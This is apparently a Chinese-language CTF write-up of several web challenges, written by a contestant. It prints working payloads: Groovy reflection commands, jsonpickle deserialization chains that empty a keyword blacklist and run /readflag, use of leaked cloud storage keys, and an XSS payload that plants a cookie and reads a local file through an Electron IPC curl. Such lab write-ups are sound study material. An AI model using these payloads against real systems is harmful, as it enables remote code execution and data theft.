酣畅淋漓!
好久没有遇到这样的一场比赛了。nep的师傅出的题目质量很高。我学到了好多!好耶!
(说起来我什么时候能出出来这样的题…….)
其他方向也多少写了点,但作为web手还是主要瞄了眼web。题目质量真的很高,感谢出题人的付出!差一ak(还有一个flag最后没交上去)超有意思的一次比赛!全程笑着打完的哈哈哈哈纯享受。可以的,能享受比赛对我来说比贴纸和键帽重要。
咳咳,说多了,让我开始:
JavaSeri
签到。
看到标题吓哭了,以为又是什么逆天抽象冷门小众猎奇Jvav反序列化链子,看到rememberMe的瞬间真的笑嘻了。shiro综合利用工具一把梭。他甚至密钥都用的是硬编码的密钥,直接打标准的shiro-550。类目了。

什么?具体的做法吗……安装Java JDK 1.8 + shiro反序列化综合利用工具4.7。找到密钥检测那里按一下爆破密钥,然后再按下面的爆破利用链加回显,再到命令执行栏目就可以RCE啦。(我在说什么啊我为什么这都要写)
easyGooGooVVVY
跟表达式注入没啥关系其实,标准反射打完了。
1 | this.class.classLoader.loadClass("java.lang.Runtime").getRuntime().exec("env").text |
唔,不会的话这里还有条直接找ProcessBuilder的办法。直接找就行。
1 | proc = ['sh','-c','env'] as ProcessBuilder |
RevengeGooGooVVVY
呃,他这几乎没revenge……上一题的payload抄下来接着打。
哦对了,假如这里限制了text我们可以用FileInputStream直接读,同上是差不多的。感兴趣的师傅可以去看看。
safe_bank
进入深水区了(终于不是新生赛了哎)
看那个关于我们:

首先:是python(狂喜)
然后大概是个jsonpickle的相关利用。会话管理?大概是在cookie里吗?让我看看……先注册个账户吧
欸?有admin账户了吗?那我们注册个admiN。

登录之后去抓个包看看

base64?解个码怎么样:

欸?这里也没有签名验证什么的,我们直接给admiN改成admin不就完了。

走,去提交看看?

好耶!(然后一看发现是假flag,绷)
Well,看来是要通过jsonpickle去打反序列化了。我们去看看相关的文章吧?
https://xz.aliyun.com/news/16133
里面有写这样的一条链子:

欸嘿!好像刚好是相似的。我们已知,在/panel这个路径下我们的meta里的user会被读取出来。那我们不如……直接把这些链子放到user里看看?
我们构造:
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object": "glob.glob", "py/newargsex": [{"py/set":["/*"]},""]},"ts":1753446254}} |
base64一下传上去看看会发生什么。
欸,你说怎么跟原文的不太一样?
坑点1:原文里json用的单引号,但是python的后端这里好像只能解析双引号!所以必须把所有单引号改成双引号才可以哦
坑点2:这里应该用newargsex而不是newargs(我讨厌代码审计!!):
我们下载源码:https://github.com/jsonpickle/jsonpickle ,直接进tag看他反序列化的特殊标识:

我们来看看这俩的区别:
这是py/newargsex反序列化的地方

这是py/newargs反序列化的地方

粗略的看了一下就是,这里的py/newargs是给实现了__new__的对象用的。而我们的py/newargsex是给没实现__new__的old-style class用的,而且里面的传参必须是以set(数组)的形式传,这样才能保证args, kwargs = obj[tags.NEWARGSEX]在运行时不会出错。唔……
搞不懂两个都试一遍就完了(怒)
(顺便提一嘴,那个py/repr的tag可以直接进exec来RCE,但这必须要decoder的safe模式是关闭的才行,这个模式v3是默认关的,v4就默认开了。不信可以去看开发文档。)
所以我们构造上文的payload传进去,一打通。

好耶!但是有/readflag,我们要RCE,哎。
接下来我们故技重施一下,用先知那篇文章里linecache那个POC读一下源码。
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/app/app.py"]},""]},"ts":1753446254}} |

整理一下:
1 | from flask import Flask, request, make_response, render_template, redirect, url_for |
这个WAF…….经常刷题的朋友们一定知道,强网杯S8出过一道类似的题目。它的waf是长这样的:
1 | BLACKLIST = ['repr','state','json','reduce','tuple','nt','\\\\','builtins','os','popen', |
这是我们的waf:
1 | FORBIDDEN = [ |
狗听了都摇头。吐槽一嘴,我ID是LamentXU,一开始注册的时候因为含有nt被waf了,搞得我还以为是靶机有问题。
没事,我们看看少了啥嘛。发现,欸,少个json。
这就不得不让我想到这个tag了:
但是,这个就到此为止了……主播我看了5h代码都没发现利用点。我一直想通过编码绕过,但是这里
1 | data = json.loads(serialized) |
给我限制死了,json://也实在玩不出什么花来。睡觉Zzzzzz
明天起来看到这个__main__.Session。欸,既然他这个可以直接访问全局空间的变量,我们可不可以访问黑名单,把黑名单给扬了呢?
很遗憾,你没法在jsonpickle里赋值……
但是!不要忘记我们list对象有个方法:

(我最近在给python繁体中文贡献翻译,刚好在翻译这块,简直就是……)
我们不能把FORBIDDEN赋值为空,但是可以调用FORBIDDEN.clear()函数!我们一起搓个payload:
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object":"__main__.FORBIDDEN.clear","py/newargs": []},"ts":1753446254}} |
介意我给写个POC吗?
1 | # from flask import Flask, request, make_response, render_template, redirect, url_for |

可以看到,FORBIDDEN被置空啦!winwinwin!
所以我们先置空黑名单:

然后直接调用subprocess.getoutput()把/readflag结果外带到/app/1.txt。payload:
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object":"subprocess.getoutput","py/newargs": ["/readflag > /app/1.txt"]},"ts":1753446254}} |

最后的最后,lincache读取/app/1.txt
1 | {"py/object": "__main__.Session", "meta": {"user": {"py/object": "linecache.getlines", "py/newargsex": [{"py/set":["/app/1.txt"]},""]},"ts":1753446254}} |

好耶!鼓掌鼓掌。
fakeXSS
好,看这题的估计都是大佬了(害怕)
首先客户端是electron框架(看图标一眼顶针)。我们找WinASAR给他解包了:
看到这里:

这里暴露了两个IPC接口。其中curl这个接口人类应该都能看出来有问题。
好,我们接着看webapp。这里upload接口抓包看到:

哎呀这不腾讯云COS嘛,我们用这个key连一下看看(我用的腾讯云python的SDK,找AI搓了个脚本,有点搞笑,别骂我):
1 | from qcloud_cos import CosConfig |
看到:

芜湖!看来我们的key还可以访问根桶的资源,不错嘛,拿flag咯(是假的,绷)
那就拿server_bak.js(我的下载链接是https://test-1360802834.cos.ap-guangzhou.myqcloud.com/www/server\_bak.js 可能不一样)
我们来看源码:
1 | const express = require('express'); |
首先——这里肯定是xss去调用electronAPI暴露在外面的那个curl的接口。我们能看到管理员密码nepn3pctf-game2025。很好,管理员可以改主页的背景。我们来看漏洞点:

这里fileurl直接就拼进去了,假如我能往fileurl里加点什么呢……?我们来看设置文件为背景的逻辑:

这里只有一个外部的API在验证,只能是个图片,唔……
好的!我们用SVG来打就好了!
但是,这个API它,(笑),有时候是坏的,也就是说有时候你传什么东西都会给你返回true,非常难绷。
不出网,我们写这个payload传到set-login-bg端口去。有时候那个API可能一个没留神就让你这玩意过去了(别问我啊,问出题人):
1 | {"key":"x\" onload=\"document.cookie='connect.sid=s%3A2IyVvrMrKpsxYeAVvr-6XkcgtPLfzeag.J%2F%2B0qDmfzAt23SC4Z9OHyjSIIcyWaOSVkPH276dCBBE';window.electronAPI.curl('file:///flag').then(data=>{console.log(data);fetch('/api/save-bio', {method: 'POST', headers: {'Content-Type': 'application/json',},body: JSON.stringify({'bio':JSON.stringify(data)})})})\" x=\""} |
我们让bot带着我的cookie把flag的内容搞到我的bio里,再去里面读就完了。

大功告成,让bot来吧!
访问/api/bot,刷新即可:

结语
好久没有打过这么好的一场比赛了。希望这种质量的比赛以后越来越多。